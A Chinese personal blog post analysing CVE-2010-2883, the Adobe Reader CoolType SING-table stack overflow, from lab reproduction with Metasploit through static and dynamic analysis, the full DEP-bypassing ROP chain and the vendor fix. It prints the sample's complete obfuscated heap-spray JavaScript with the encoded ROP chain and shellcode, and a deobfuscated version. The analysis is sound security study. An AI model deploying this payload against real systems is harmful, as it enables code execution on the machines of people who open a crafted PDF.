selph
selph
发布于 2022-04-06 / 574 阅读
0
0

漏洞分析:CVE-2010-2883

这个漏洞分析花了大概3天,初次分析流程如此长的漏洞,后面还有个随书样本的利用shellcode分析,明天再发出来

学习与实践嘛,从模仿到独立,一步一步慢慢来,这次分析过程中有一个很明显的感觉就是“我看不懂,但我大受震撼”,到分析到后面的时候再回来总览整个ROP过程,就有一种柳暗花明又一村的感觉,“啊,原来是这么回事啊”,整个过程虽然漫长,但却也充满发现,这,便是乐趣所在。

漏洞介绍

漏洞描述

CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的 uniqueName项时存在的栈溢出漏洞,用户受骗打开了特制的PDF文件就有可能导致执行任意代码。

实验环境

  • 虚拟机:Windows XP SP3
  • 虚拟机:Kali Linux
  • 漏洞程序:Adobe reader 9.3.4
  • IDA 7.5
  • x86dbg
  • pdfstreamdumper

漏洞复现

根据之前踩的一次坑得知,漏洞复现对于漏洞分析的开始很有帮助,因为能触发漏洞,就说明漏洞一定存在,就一定能分析到漏洞上面去(之前拿了一个被修复了漏洞的程序使劲分析分析不出来漏洞。。。。)

本次分析中的样本来自《漏洞战争》随书文件提供的“名企面试自主手册.pdf”,这里先自己通过msf生成漏洞利用的pdf文件来先进行漏洞分析,然后再对书上样本进行分析

在kali的msf中搜索利用模块:

image-20220330184218196

选择下面那个,填充参数,run:

image-20220330184353804

接下来把生成的文件复制出来拖入Windows XP SP3的虚拟机里

在虚拟机里安装Adobe Reader 9.3.4漏洞程序

然后双击点开生成的利用pdf:

image-20220330184740454

Adobe Reader打开窗口立马消失,弹出计算器

漏洞复现成功!

漏洞分析

PDF格式和TTF SING表

PDF:Portable Document Format(可移植的文档格式)

使用010 Editor的pdf模板可以查看pdf格式的二进制数据:

image-20220330191921550

PDF文件结构由4部分组成:

  • Header:文件头,用来注明pdf文件版本号,值为%PDF-版本号
  • Body:主要由组成文件的对象组成,例如图片,文字等
  • Cross-regerence table:交叉引用表,用于存放所有对象的引用、位置偏移、字节长度,用于随机访问pdf中的任意对象
  • Trailer:文件尾,给出交叉引用表的位置(指针)和一些关键对象的信息(指针),以%%EOF标记文件结尾。PDF阅读器都是从这里开始解析的

img

PDF的Body是树状层次结构,每个节点都是一个对象,由根节点Document Catalog开始,其叶子节点包括文档内容,大纲等属性:

img

可用分析pdf的工具pdfstreamdumper查看pdf节点信息:

载入刚刚msf生成的pdf,查看第一个节点:

image-20220330193237663

/Type指定对象类型是:Catalog(根对象)

/Pages指向第一个对象:2(对象序号)0(生成号)R(表示引用对象),该对象是一个Pages对象

/OpenAction指向了11 0 R对象,该对象指定了打开文档时进行的操作

接下来看第二个节点:

image-20220330193545543

/Resources指向一个资源对象,4 0 R

/Kids是它的叶子节点5 0 R

/Types指定该对象是Pages对象

接下来看第二个结点指向的资源对象4 0 R,据说这是触发漏洞的对象:

image-20220330193731223

/Font指向了字体字典对象6 0 R

接下来查看6号对象:

image-20220330193818549

/F1表示使用了Type 1字体技术定义字形形状的字体,对象是7 0 R

接下来查看7号对象:

image-20220330193914015

/Type 表示类型是字体对象

/FontDescripter指向字体描述符 9 0 R,用于描述字体属性

接下来查看9号对象:

image-20220330194024926

/FontFile2指向对象10 0 R,10号对象是流对象(侧边标注是黄色的)

查看10号对象:

image-20220330194225177

00 01 00 00是TTF字体文件的开始标志,右键把该文件另存为,用010 Editor的TTF模板进行分析

TTF:The TrueType Font File,是定义字体的文件(详细内容自行搜文档),TrueType字体文件以表的形式包含构成字体的数据:

image-20220330195437930

这里的Sing表就是漏洞触发的地方,Sing表的结构(见参考资料[4]):

/*
https://github.com/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h
 * SING table for glyphlets
 */

#ifndef FORMAT_SING_H
#define FORMAT_SING_H

#define SING_VERSION VERSION(1, 1)

#define SING_UNIQUENAMELEN 28
#define SING_MD5LEN 16

typedef struct
{
    Card16 tableVersionMajor;
    Card16 tableVersionMinor;
    Card16 glyphletVersion;
    Card16 permissions;
    Card16 mainGID;
    Card16 unitsPerEm;
    Int16 vertAdvance;
    Int16 vertOrigin;
    Card8 uniqueName[SING_UNIQUENAMELEN];	// 28 bytes length
    Card8 METAMD5[SING_MD5LEN];
    Card8 nameLength;
    Card8 *baseGlyphName; /* name array */
} SINGTbl;

#endif /* FORMAT_SING_H */

这里的这个名称uniqueName长度28字节,在表中偏移是16字节

在010Editor中:

image-20220330200020244

Sing表的文件偏移是284,长度是7647

查看Sing表中的UniqueName:

image-20220330200417407

这里没有字符串的\x00截断,因此读取该字符串如果没有长度限制可能会被当成超长字符串!

静态分析

已知漏洞位于CoolType.dll库,复制该DLL出来,IDA分析,已知漏洞发生在SING表处,搜索字符串SING:(不知道为啥,我搜不到,我是根据参考资料[2]中的地址跳转过去的,确实有这么个字符串)

image-20220331190732198

因为刚刚发现漏洞利用的pdf的ttf字体的sing表中的UniqueName字符串最后没有00结尾,那么这里要溢出的话,必定是字符串操作相关函数,而且是不管字符串长度,以00结尾来判断字符串结束的

通过交叉引用发现0803DD74处的SING后面调用了strcat函数:

image-20220331191219721

strcat两个参数,一个是目的地址,一个是源地址,不对字符串长度进行判断,刚好满足条件

这里的两个参数,目的地址参数来自ebp+108h+Destination,是局部变量中的一个地址

源地址参数来自ebp+108h+var_12C,在入栈前对该地址加了0x10 = 16字节

SING表的UniqueName字段刚好偏移也是16字节,可以认为这个地址就是SING表的地址

接下来把SING表的结构下载下来Ctrl+F9导入一下:

https://github.com/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h

使用F5来看,对结构看的更清晰:

image-20220331192726897

这里的判断条件是,如果sing表存在,且版本信息满足要求,就会调用strcat,这里的目的地址数组长度是260字节,只要程序能够解析这个不正常的SING表,就可以触发溢出,因为目的地址在局部变量里,所以位置在栈顶下面,所以溢出覆盖返回地址会发生在调用strcat后,而不是在strcat中

动态分析

为了更方便观察漏洞缓冲区覆盖情况,这里重新生成一个样本(学自参考资料[3])

在exp脚本/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb大概102行的位置将下面的rand_text这一行给注释掉,把上面注释掉的这个生成大量A的这一行去掉注释

image-20220331193329436

然后接下来使用msf生成样本,流程根前面漏洞复现一样,就不再重复了

生成完拷贝到Windows XP SP3复现环境中


用x86dbg附加打开的Adobe Reader,运行起来

根据静态分析得知漏洞触发函数的地址是:0x0803DDAB,这里直接跳转过去下断点:

image-20220331193930874

接下来用Adobe Reader打开刚刚生成的利用样本,走到触发断点这里:

这里会先抛出一大堆溢出,然后不停的点运行,就会经过一大堆异常处理之后走到我们下的断点(PS:关掉WindowsXP的错误报告也许会舒服一些)

image-20220331201501325

这里可以看到参数是我们设置的一大堆A,这里目的地址是0x0012E4D8,当前栈顶地址是0x0012E468

目的地址在栈顶的下面,所以溢出不会发生在strcat里,步过strcat:

image-20220331202253641

这里可以看到,ecx是目的地址,这个地址里已经填充满了shellcode

接下来往后执行发现这里有一个call eax:

image-20220331204921043

恰好此时的eax就是栈中地址0x12E6D0,这个地址是我们shellcode覆盖的范围内,shellcode在这里构造了一个跳转地址(接下来就是分析ROP构造的环节了):

image-20220331205027876

跳转进入之后:

image-20220331205143939

这里找了一串指令,首先调整了EBP,原本ebp = 0x0012DD48,修改后0x0012E4DC,ebp向下进行了调整,调整到了esp下方

接下来执行leave修改了esp,原本的esp = 0x0012DD24,调整后esp = ebp = 0x0012E4DC,ebp = 0x41414141,esp=0x0012E4E0

这串指令把esp调整到shellcode内部的位置,然后构造下一个返回地址:

image-20220331205650023

跳转后:

image-20220331210533228

pop之后,esp获得了下一个构造的值:0x0c0c0c0c:

image-20220331210748166

然后跳转到第一个地址:0x4A8063A5

image-20220331210811063

接下来依然通过栈进行ret:0x4A802196(ret会使esp+4)

image-20220331211011555

这里eax的值是shellcode内部的一部分,然后这里ecx的值是某个可写的地址

这里把eax保存了一下,然后ret(应该也只是为了往esp下面走),跳转到:0x4A801F90

image-20220331211224748

接下来pop给eax赋值,然后接着走:0x4A80B692

image-20220331211356295

此时eax是CreateFileA函数的地址,刚刚跳转的地方是jmp eax

这里eax改变了,但是ecx没有改变,获取栈中的地址依然可以通过ecx获得

跳转之后就是CreateFileA的逻辑:

image-20220331211725317

CreateFileA的函数声明:

HANDLE CreateFileA(
  LPCSTR                lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

这里的参数:

$+4      0C0C0C24  4A801064      icucnv36.4A801064  ret指令
$+8      0C0C0C28  4A8522C8      lpFileName = "iso88591"
$+C      0C0C0C2C  10000000      dwDesiredAccess = GENERIC_ALL
$+10     0C0C0C30  00000000      dwShareMode = 0
$+14     0C0C0C34  00000000      lpSecurityAttributes = NULL
$+18     0C0C0C38  00000002      dwCreationDisposition = CREATE_ALWAYS
$+1C     0C0C0C3C  00000102      dwFlagsAndAttributes = HIDDEN|TEMPORARY
$+20     0C0C0C40  00000000      hTemplateFile = NULL

这里实际上是创建了个临时文件:iso88591

在文件选项设置显示所有文件:

image-20220401111414694

创建文件之后:

image-20220331212501481

跳转到0x4A801064:

image-20220331212541919

接下来又是一系列跳转:

image-20220331212557430

跳转:

image-20220331212623865

这里对edi和eax进行了交换,因为edi指向了shellcode的内部,接着跳转:

image-20220331212734759

接着跳转:

image-20220331212946343

这里把edi保存到栈上面了,以便后续函数调用使用:

image-20220401112042522

接下来ret,到了pop eax:

image-20220401112159599

这里pop给eax的值是CreateFileMapping函数,这个函数用来为指定文件创建文件映射对象,然后接着一个跳转过去:

image-20220401112243468

去jmp eax去跳转到函数上:

image-20220401112614719

参数在栈中的分布:

$ ==>    0C0C0C64  41414141      
$+4      0C0C0C68  4A801064      
$+8      0C0C0C6C  00000338      hFile = 0x00000338
$+C      0C0C0C70  00000000      pSecurity = NULL
$+10     0C0C0C74  00000040      Protection = PAGE_EXECUTE_READWRITE
$+14     0C0C0C78  00000000      MaximumSizeHigh = 0
$+18     0C0C0C7C  00010000      MaximumSizeLow  = 10000
$+1C     0C0C0C80  00000000      MapName = NULL

这里把使用之前创建的文件句柄来创建内存映射,内存属性是可读可写可执行

创建之后,执行到返回:

image-20220401113337010

再次返回跳转:

image-20220401113422686

接着跳转:

image-20220401113442489

这里把之前交换给edi的值再交换给eax(文件句柄)

然后接着返回:

image-20220401113522774

esp+4,接着返回:(这样的操作应该是在调整esp的位置)

image-20220401113602026

接下来接着往栈里保存值edi,这里跟之前很相似:

image-20220401113742177

然后返回:

image-20220401113809377

这里esp的地址是MapViewOfFIle函数,这里的作用是将一个文件映射对象映射到当前应用程序的地址空间,其中 hMapObject 参数为上面调用返回的 hMapObject 对象,调用函数后会返回该文件对象在内存中对应的地址

然后通过jmp eax进入函数:

image-20220401114023645

函数的参数:

LPVOID MapViewOfFile(
  [in] HANDLE hFileMappingObject,	// 映射句柄
  [in] DWORD  dwDesiredAccess,
  [in] DWORD  dwFileOffsetHigh,		// 地址高位
  [in] DWORD  dwFileOffsetLow,		// 地址低位
  [in] SIZE_T dwNumberOfBytesToMap
);

这里函数使用的是前面映射的句柄,步进到函数返回,eax的返回值是0x26E0000,内存布局查看:

image-20220401151315612

返回出去之后又是一个ret:

image-20220401151539697

可以看到,映射到内存这里是一片000000

接着ret:

image-20220401151608834

这里弹出来一个栈顶,然后返回:

image-20220401151646896

然后这里把eax保存到ecx所在内存里,ecx是刚刚从栈里拿出来的地址

接着返回:

image-20220401151748933

又取出1个ecx然后ret:

image-20220401151812198

这里把edi里保存的映像句柄又拿出来给eax了,接下来要进行调用函数

image-20220401151905870

这里pop给ebx的是为一个后面要用的参数准备的

然后接着ret:

image-20220401152029554

这里是刚刚见过很多遍的跳转逻辑,这里从ebx索引esp的一个位置,用edi赋值,把映射内存首地址放到栈里,作为之后调用的函数的参数

接下来移动到返回:

image-20220401152204122

弹出一个值,然后ret:

image-20220401152317219

eax里保存的是之前保存映射地址的地方,这里把映射地址取出来到eax,然后ret:

image-20220401152358313

跳过两个栈顶,ret:

image-20220401152429212

这两个值是一样的,所以这里交换是没有意义的,但是如果刚刚eax那个地址里保存的值发生了变化,则这样可以把前面保留到edi的地址交换给eax

image-20220401152529871

这里给ebx弹了个0x20,接下来接着跳转

image-20220401152622131

又是熟悉的一幕,接着跳转:

image-20220401152915507

这里ecx的值是ret的地址

接着跳转:

image-20220401153008184

这里入栈几个参数,然后call ecx,ret,直接跳过这里的ecx走到下面一行,给esp+10保护刚刚入栈的参数,然后返回:

image-20220401153210702

给eax弹了个0x34,返回:

image-20220401153244301

修改eax为栈中的另一个地址,然后返回:

image-20220401153325073

接下来把ecx也弹出了,接着返回:

image-20220401153508085

这里交换了eax和edi,接着返回:

image-20220401153543741

接着返回:

image-20220401153604730

这里接着往栈里填充内容,返回:

image-20220401153735535

这里给eax了memcpy的地址,然后返回,jmp eax:

image-20220401153853056

进入memcpy,源地址保存在esi,目的地址保存在edi,复制次数保存在ecx,源地址在栈里,这个栈是被控制的,源地址后面有利用代码

复制完成后:

image-20220401154119910

栈里后面的东西也就都复制过去了,这里返回地址就是我们映射的内存地址,直接跳入shellcode进行执行:

image-20220401154224769

弹出计算器,然后进程崩掉

ROP链总结

从ROP链开始,到运行shellcode,流程如下:

  1. 调整栈顶到可控区域
  2. 切换栈顶到0x0c0c0c0c,这个位置被构造好了栈数据和利用代码
  3. 创造一片可执行的内存区域绕过DEP:
    1. 调用CreateFileA函数创建临时文件
    2. 调用CreateFileMappingA函数创建内存映射对象
    3. 调用MapViewOfFile函数,映射文件到内存,返回映射地址
  4. 调用memcpy函数,复制利用代码到该内存
  5. 跳转执行

搜索ROP用到的指令可以通过msfpescan进行,也可以通过immdbg的mona插件进行搜索

JavaScript HeapSpary

到这里有一个疑惑,就是0x0c0c0c0c这个内存地址中的数据是如何添加进去的呢?这里用到了堆喷射技术

见参考资料[2]

在使用HeapSpray的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后用JavaScript申请大量堆内存,并用包含着0x90和shellcode的“内存片”覆盖这些内存。

JavaScript会从内存低址向高址分配内存,因此申请的内存超过200MB(200MB=200 X 1024X 1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有shellcode 的内存片覆盖。

只要内存片中的0x90能够命中0x0C0C0C0C的位置,shellcode 就能最终得到执行。

QQ图片20220401155955

用PDFStreamDunper去提取js代码:

image-20220401160303559

根节点的这个/OpenAction就是指定了在打开文档时执行什么操作

查看节点11:

image-20220401160352282

发现JS代码,位于节点12里,把节点12的内容复制出来:

var uDDMNOYkWU = unescape;
var yNfOyVpLRleTWyEXqEbClSJIWHxUoEmKzbDVrTxEpJgoFJMbbDOcteOUZcpuVkaUBHnR = uDDMNOYkWU( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uabbd%u45fa%udb0e%ud9d0%u2474%u58f4%uc929%u31b1%uc083%u3104%u0f68%u6803%u18a4%uf2b0%u5e52%u0b3b%u3fa2%ueeb5%u7f93%u7ba1%u4f83%u2ea1%u3b2f%udae7%u49a4%uec20%ue70d%uc316%u548e%u426a%ua70c%ua4bf%u682d%ua5b2%u956a%uf73f%ud123%ue892%uaf40%u822e%u211a%u7737%u40ea%u2616%u1b61%uc8b8%u17a6%ud2f1%u12ab%u684b%ue81f%ub84a%u116e%u85e0%ue05f%uc2f8%u1b67%u3a8f%ua694%uf888%u7ce7%u1b1c%uf64f%uc786%udb6e%u8351%u907c%ucb16%u2760%u67fa%uac9c%ua7fd%uf615%u63d9%uac7e%u3540%u03da%u257c%ufc85%u2dd8%ue82b%u6c50%uef21%u0ae7%uef07%u14f7%u9837%u9fc6%udfd8%u75d6%u109d%ud49d%ub8b7%u8d78%ua48a%u7b7a%ud0c8%u8ef8%u26b0%ufae0%u63b5%u17a6%ufcc7%u1843%ufc74%u7b41%u6e1b%u5209%u16be%uaaa8' );
var QBTjuGryWsLcUAFVNk = uDDMNOYkWU( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (QBTjuGryWsLcUAFVNk.length + 20 + 8 < 65536) QBTjuGryWsLcUAFVNk+=QBTjuGryWsLcUAFVNk;
sEHnAOyFkbGILyXKsFYiZNiSFDJYBeYhqsqyUWjTZfSfqQGvrdAWoLIW = QBTjuGryWsLcUAFVNk.substring(0, (0x0c0c-0x24)/2);
sEHnAOyFkbGILyXKsFYiZNiSFDJYBeYhqsqyUWjTZfSfqQGvrdAWoLIW += yNfOyVpLRleTWyEXqEbClSJIWHxUoEmKzbDVrTxEpJgoFJMbbDOcteOUZcpuVkaUBHnR;
sEHnAOyFkbGILyXKsFYiZNiSFDJYBeYhqsqyUWjTZfSfqQGvrdAWoLIW += QBTjuGryWsLcUAFVNk;
vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf = sEHnAOyFkbGILyXKsFYiZNiSFDJYBeYhqsqyUWjTZfSfqQGvrdAWoLIW.substring(0, 65536/2);
while(vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf.length < 0x80000) vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf += vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf;
FjpCshAIDstxYBUGb = vQeakbYYvBjCbEGxUOUnHOMaweFCnxMxrpgRXNgaIwsHYzyjf.substring(0, 0x80000 - (0x1020-0x08) / 2);
var YQXLgZlpdVoxYkePABbnrvXDSToaKbfcsuhhbDRWGyypO = new Array();
for (vwpDeymgeCWPcfHwYztPBNubSXmDMJVHlwJgLIrIPySBWhyjqZmvPzP=0;vwpDeymgeCWPcfHwYztPBNubSXmDMJVHlwJgLIrIPySBWhyjqZmvPzP<0x1f0;vwpDeymgeCWPcfHwYztPBNubSXmDMJVHlwJgLIrIPySBWhyjqZmvPzP++) YQXLgZlpdVoxYkePABbnrvXDSToaKbfcsuhhbDRWGyypO[vwpDeymgeCWPcfHwYztPBNubSXmDMJVHlwJgLIrIPySBWhyjqZmvPzP]=FjpCshAIDstxYBUGb+"s";

这里有混淆:变量名是超长随机字符

重新给变量命名一下:

var var_unescape = unescape; 
// unescape用来解码escape编码的结果,这个编码是把特殊字符转义
var shellcode = var_unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uabbd%u45fa%udb0e%ud9d0%u2474%u58f4%uc929%u31b1%uc083%u3104%u0f68%u6803%u18a4%uf2b0%u5e52%u0b3b%u3fa2%ueeb5%u7f93%u7ba1%u4f83%u2ea1%u3b2f%udae7%u49a4%uec20%ue70d%uc316%u548e%u426a%ua70c%ua4bf%u682d%ua5b2%u956a%uf73f%ud123%ue892%uaf40%u822e%u211a%u7737%u40ea%u2616%u1b61%uc8b8%u17a6%ud2f1%u12ab%u684b%ue81f%ub84a%u116e%u85e0%ue05f%uc2f8%u1b67%u3a8f%ua694%uf888%u7ce7%u1b1c%uf64f%uc786%udb6e%u8351%u907c%ucb16%u2760%u67fa%uac9c%ua7fd%uf615%u63d9%uac7e%u3540%u03da%u257c%ufc85%u2dd8%ue82b%u6c50%uef21%u0ae7%uef07%u14f7%u9837%u9fc6%udfd8%u75d6%u109d%ud49d%ub8b7%u8d78%ua48a%u7b7a%ud0c8%u8ef8%u26b0%ufae0%u63b5%u17a6%ufcc7%u1843%ufc74%u7b41%u6e1b%u5209%u16be%uaaa8' );

// unescape("%u0c0c%u0c0c"); 0c 0c对应的指令是 or al, C,无用指令,可以大量使用不影响程序
var var_C = var_unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );

// 循环,65536 = 64KB,这里的20+8应该是预留出来做什么用的
// 循环是用来覆盖内存中的数据
// var_C长度应该是(65536-28)个字符,127KB
while (var_C.length + 20 + 8 < 65536) var_C+=var_C;	

// 精准堆喷,使shellcode开始的地方一定在0c0c结尾地址0x....0c0c处
// var_D长度:3048字节 + 1656*2字节(shellcode) + 127KB = 67336*2 = 20E10字节
var_D = var_C.substring(0, (0x0c0c-0x24)/2);
var_D += shellcode;	// 拼接shellcode
var_D += var_C;		// 拼接滑块代码

// 一个Unicode字符是2字节,这里取0x10000/2 = 0x8000字符长度
var_E = var_D.substring(0, 65536/2);

// 最终一个shellcode实际大小为 1MB,0x80000 * 2 = 0x100000 = 1MB
while(var_E.length < 0x80000) var_E += var_E;

// 从后面截短 0x1020 - 0x08 = 4120 字节,目的应该是让实际大小小于1MB,因为这里分配的一个堆块是1MB大小,var_E 应该小于堆块大小,这样才能确保分配1M大小的堆块
var_H = var_E.substring(0, 0x80000 - (0x1020-0x08) / 2); // 7F7F4

// 开辟内存空间
var var_F = new Array();

// 0x1f0 = 496
// var_H有将近1M大小,这个数组每个成员都是var_H + "s",这里填充496次
for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H+"s";

这里使用堆喷射,利用数组申请了超大内存,填充了shellcode和滑板指令

每个数组成员都是接近1M(0x100000)大小,运行漏洞程序拖入msfA.pdf查看内存布局:

image-20220401172129095

从加载该dll映像往后:0x8260000开始,申请了将近500个1M大的堆空间,这里面有将近500个Shellcode

这里就从刚刚动态分析使用的0x0c0c0c0c开始看:

image-20220401172304374

0x0c0c0c0c就是这里数组里填充的Shellcode,堆喷射就是只要控制好数组的大小,和shellcode的位置,来精确调整让shellcode出现在0x0c0c0c0c

0x0c0c0c0c开始往后就是ROP链和利用shellcode了

漏洞修复

该软件9.4.0版本修复了该漏洞

本部分反汇编来自参考资料[3]

.text:0803DD90                 mov     byte ptr [ebp+108h+var_10C], 1
.text:0803DD94                 jnz     loc_803DEF6
.text:0803DD9A                 push    offset aName    ; "name"
.text:0803DD9F                 push    edi             ; int
.text:0803DDA0                 lea     ecx, [ebp+108h+var_124]
.text:0803DDA3                 xor     bl, bl
.text:0803DDA5                 call    sub_80217D7
.text:0803DDAA                 cmp     [ebp+108h+var_124], 0
.text:0803DDAE                 jnz     short loc_803DE1A
.text:0803DDB0                 push    offset aSing    ; "SING"
.text:0803DDB5                 push    edi             ; int
.text:0803DDB6                 lea     ecx, [ebp+108h+var_12C]
.text:0803DDB9                 call    sub_8021B06
.text:0803DDBE                 mov     ecx, [ebp+108h+var_12C]
.text:0803DDC1                 test    ecx, ecx
.text:0803DDC1 ;   } // starts at 803DD90
.text:0803DDC3 ;   try {
.text:0803DDC3                 mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DDC7                 jz      short loc_803DE03
.text:0803DDC9                 mov     eax, [ecx]
.text:0803DDCB                 and     eax, 0FFFFh
.text:0803DDD0                 jz      short loc_803DDD9
.text:0803DDD2                 cmp     eax, 100h
.text:0803DDD7                 jnz     short loc_803DE01
.text:0803DDD9
.text:0803DDD9 loc_803DDD9:                            ; CODE XREF: sub_803DD33+9D↑j
.text:0803DDD9                 push    104h            ; int
.text:0803DDDE                 add     ecx, 10h
.text:0803DDE1                 push    ecx             ; char *
.text:0803DDE2                 lea     eax, [ebp+108h+var_108]
.text:0803DDE5                 push    eax             ; char *
.text:0803DDE6                 mov     [ebp+108h+var_108], 0
.text:0803DDEA                 call    sub_813391E

这里很显然没有调用strcat进行获取UniqueName而是调用函数sub_813391E:

.text:0813391E                 push    esi
.text:0813391F                 mov     esi, [esp+4+arg_0]
.text:08133923                 push    esi             ; char *
.text:08133924                 call    strlen
.text:08133929                 pop     ecx
.text:0813392A                 mov     ecx, [esp+4+arg_8]
.text:0813392E                 cmp     ecx, eax
.text:08133930                 ja      short loc_8133936
.text:08133932                 mov     eax, esi
.text:08133934                 pop     esi
.text:08133935                 retn
.text:08133936 loc_8133936:                            ; CODE XREF: sub_813391E+12↑j
.text:08133936                 sub     ecx, eax
.text:08133938                 dec     ecx
.text:08133939                 push    ecx             ; size_t
.text:0813393A                 push    [esp+8+arg_4]   ; char *
.text:0813393E                 add     eax, esi
.text:08133940                 push    eax             ; char *
.text:08133941                 call    ds:strncat
.text:08133947                 add     esp, 0Ch
.text:0813394A                 pop     esi
.text:0813394B                 retn

这里使用了strlen获取字段长度,长度超出限制就使用strncat进行获取字段内容,该函数限制了可以拷贝的字节数从而修复了该漏洞

总结

第一次分析ROP如此长的漏洞,我有一个很直观的感受就是”我看不懂,但我大受震撼“,分析过程那是相当漫长,当跟着网上师傅们的文章走过一遍之后,对整体利用流程有了一个较为清晰的认识,更加大受震撼了hhhh,我现在还处于一个分析经验不足的阶段,相信等我分析上一定数量的漏洞再回过头来重新回顾这个漏洞,一定会很有收获。

对本漏洞原理的分析暂时就到这里,接下来还有一个相关的事情没做:

  1. 分析msf样本的shellcode
  2. 分析随书文件恶意样本的shellcode

过两天分析完也跟上

参考资料


评论